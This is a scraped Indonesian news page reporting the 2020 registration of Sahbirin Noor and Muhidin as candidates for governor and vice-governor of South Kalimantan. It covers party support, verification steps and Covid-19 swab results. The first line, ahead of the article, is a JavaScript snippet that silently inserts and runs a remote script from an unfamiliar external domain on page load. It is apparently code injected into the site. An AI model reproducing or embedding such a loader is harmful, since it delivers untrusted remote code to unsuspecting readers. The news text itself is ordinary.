(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Bakal pasangan calon Gubernur dan Wakil Gubernur Kalimantan Selatan H Sahbirin Noor-H Muhidin resmi menyerahkan berkas pendaftaran di KPU Provinsi Kalsel, Sabtu (5/9/2020). Berkas pendaftaran kedua sendiri dinyatakan telah diterima oleh KPU Provinsi Kalsel.
“Pendaftaran beliau kami nyatakan diterima,” kata Ketua KPU Provinsi Kalsel Sarmuji kepada awak media.
Sarmuji menambahkan, ada 6 partai politik yang mengusung pasangan Birin-Muhidin. Yaitu Partai Golkar (12 kursi), PAN (6 kursi), PDIP (8 kursi), PKS (5 kursi), PKB (5 kursi) dan Partai Nasdem (4 kursi).
“Jumlahnya ada 40 kursi, atau sebesar 73 persen (dari kursi DPRD Kalsel),” imbuh Sarmuji.
Ia memastikan, berkas pendaftaran pasangan Birin-Muhidin dinyatakan lengkap oleh KPU Provinsi Kalsel. Namun begitu, usai diterima, pihaknya akan melakukan verifikasi administrasi.
“Apakah berkasnya dinyatakan lengkap atau masih ada perlu perbaikan. Jika ada perbaikan, maka kami akan menyampaikannya kepada pasangan calon untuk diperbaiki dari tanggal 14 hingga 16 September mendatang,” terang Sarmuji.
Disamping itu, Sarmuji menambahkan, KPU Provinsi Kalsel telah memberikan surat rekomendasi untuk mengikuti pemeriksaan kesehatan di RSUD Ulin Banjarmasin.
Dijadwalkan, pada Senin (7/9/2020) pukul 14:00 Wita, pasangan Birin-Muhidin akan menjalani pemeriksaan kesehatan.
Sarmuji memastikan, hasil swab Birin-Muhidin dinyatakan negatif Covid-19. Sehingga memungkinkan bagi keduanya untuk mendaftar di KPU Provinsi Kalsel.
“Kalau hasil swabnya positif Covid-19, maka kami anggap berhalangan untuk berhadir yang bisa kita toleransi. Karena negatif Covid-19, maka wajib datang,” tandas Sarmuji.
Sementara itu, bakal calon gubernur Kalsel H Sahbirin Noor mengapresiasi kinerja KPU Provinsi Kalsel dalam pelayanan. Apalagi, ia mengklaim berkas pendaftarannya dinyatakan lengkap oleh KPU Provinsi Kalsel.
“Kalau diteliti sudah memenuhi syarat sesuai dengan ketentuan yang ditentukan oleh KPU Provinsi Kalsel,” ungkap Paman Birin.
Lalu, langkah apa yang diambil Paman Birin selanjutnya? “Bergerak,” singkatnya.
Sementara itu, bakal calon Wakil Gubernur H Muhidin menambahkan, ia bersama Paman Birin akan berupaya memenangkan Pilgub Kalsel. “Insyaallah kami bersatu, dan Insyaallah masyarakat pinandu (kenal). Yaitu mendukung Paman Birin dan mendukung H Muhidin bersatu. Mudah-mudahan masyarakat ingat dan pinandu dengan kami,” pungkas Muhidin sembari tertawa lepas. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.